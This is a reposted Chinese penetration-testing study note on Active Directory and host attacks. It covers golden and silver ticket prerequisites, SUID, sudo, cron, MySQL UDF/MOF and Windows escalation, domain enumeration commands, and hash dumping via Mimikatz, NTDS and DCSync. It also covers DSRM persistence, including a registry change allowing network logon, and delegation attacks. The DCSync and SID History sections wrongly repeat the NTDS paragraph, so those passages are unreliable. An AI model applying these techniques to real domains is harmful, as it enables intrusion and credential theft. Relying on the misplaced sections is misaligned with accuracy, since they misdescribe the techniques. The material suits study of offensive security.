黄金票据和白银票据的区别:黄金票据与KDC通信,黄金票据是伪装kerberos认证的第一阶段的TGT,而
白银票据在 kerberos 认证的第三步 Ticket 中组成
黄金票据伪造
条件
-
完整的域名称
-
krbtgt 账户的 NTLM Hash 或者 AES-256
-
域的 sid
-
需要伪造的域管理员用户名
白银票据伪造
条件
-
域名
-
域 SID
-
目标服务器的 FQDN
-
可利用的服务
-
服务账号的 NTLM Hash
-
需要伪造的用户名
提权
linux
内核提权
老版的脏牛和前几天的pcexec
SUID提权
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行
root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限
find / -perm -u=s -type f 2>/dev/null
SUDO提权
普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理
方便,sudoer配置文件错误导致提权。
计划任务
如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置
不当。
ls -l /etc/cron*
more /etc/crontab
MySQL提权
udf提权
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,
性质就象使用本地MYSQL函数如abs()或concat()。 通过udf创建能够执行系统命令的函数sys_exec、
sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。
mof提权
"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,
然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段
是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
windows
内核漏洞
systeminfo
或
wmic qfe get caption,description,hotfixid,installedon
KiTrap0D和KB979682对应、MS10-021和KB979683对应
计划任务提权
如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计
划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。
内网信息收集
查询域
net view /domain
查询所有域成员计算机列表
net group "domain computers" /domain
获取域管理员列表
net group "Domain Admins" /domain
列出本机所有进程及进程用户
Tasklist /v
集群域和工作组的区别
工作组
是局域网中的一个概念,它是最常见的资源管理模式,简单是因为默认情况下计算机都是采用工作组方
式进行资源管理的。将不同的电脑按功能分别列入不同的组中,以方便管理。默认情况下所有计算机都
处在名为 WORKGROUP 的工作组中,工作组资源管理模式适合于网络中计算机不多,对管理要求不严
格的情况。
域
域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访
问另一个域中的资源)。它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥
有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户
身份。
集群
“群集”是一组协同工作并运行Microsoft群集服务的独立服务器。允许客户端在出现故障和计划中的暂停
时依然能够访问应用程序和资源,如果群集中的某台服务器由于故障或维护需要而无法使用时,资源和
应用程序将转移到可用的群集节点上。
linux基础命令
检测内核版本
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a
root 的历史命令
history
/home各帐号目录下的.bash_history,查看普通帐号的历史命令
检查异常端口、进程
1.使用netstat 网络连接命令,分析可疑端口、IP、PID
2.netstat -antlp|more
3.查看下pid所对应的进程文件路径,运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应
的pid 号),查看启动命令ps –ef |grep $PID(效果同 ps aux |grep $PID)
4.查看端口是否开启:lsof -i:端口号 或者netstat -atu检查linux中的开放端口
dunp hash
有域控怎么dunp hash
Mimikatz
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。
这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行
权限。
NTDS
它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数
据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位
置以进行离线分析和密码哈希的提取。
DCSync
该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和
管理Windows Active Directory数据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文
件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。
权限维持
SID History
它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数
据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位
置以进行离线分析和密码哈希的提取。
DSRM
域控上有个账户,名字为目录服务还原模式账户又名DSRM账户,它的密码是安装DC的时候设置的,一
般不会修改。但是当DSRM账户被修改的时候,域控的本地管理员administrator账户密码的hash也会被
修改,并且与DSRM账户的hash是一样的。这时候即使再次修改了本地管理员administrator账户的明文
密码,sam文件的hash也不会更改,只会更改ntds.dit文件中的hash。综上,意味着只要我们能够更改
DSRM的账号密码,我们就能够通过DSRM的密码的hash登陆域控主机,并且即使域控主机的本地管理
员密码改变了,DSRM的hash也不会变,我们依旧可以利用pth攻击来登陆。该攻击需要使用域控上的
ntdsutil工具修改DSRM账户的密码(保证自己知道的密码),然后需要修改dsrm的登录方式因为在
windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制
在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。
DSRM的三种登录方式:
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2
委派攻击
分别是非约束性委派、约束性委派和基于资源的约束性委派。
非约束性委派
在非约束性委派中,服务账号可以获取域用户的 TGT,并使用该 TGT 模拟域用户访问任意服务。配置了
非约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_FOR_DELEGATION 标志位。下图所
示为非约束性委派的完整请求过程。
约束性委派
微软为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议 S4u2self(Service for User
to Self)和 S4U2proxy(Service for User to Proxy)。
S4U2self 扩展允许服务代表用户获取针对自己的服务票据,S4U2proxy 允许服务代表用户获取另一个
服务的服务票据。约束委派就是限制了 S4U2proxy 扩展的请求范围,使得配置了委派属性的服务只能模
拟用户身份访问特定的其他服务。配置了约束性委派的账户的 userAccountControl 属性会设置
TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,并且账户的 msDS-AllowedToDelegateTo 属性会被
设置为对哪些服务进行委派。下图所示为约束性委派中,S4U2self 和 S4U2proxy 扩展的完整请求过文章来源:https://www.toymoban.com/news/detail-622214.html
程。文章来源地址https://www.toymoban.com/news/detail-622214.html
到了这里,关于入门必看——渗透测试基础知识笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!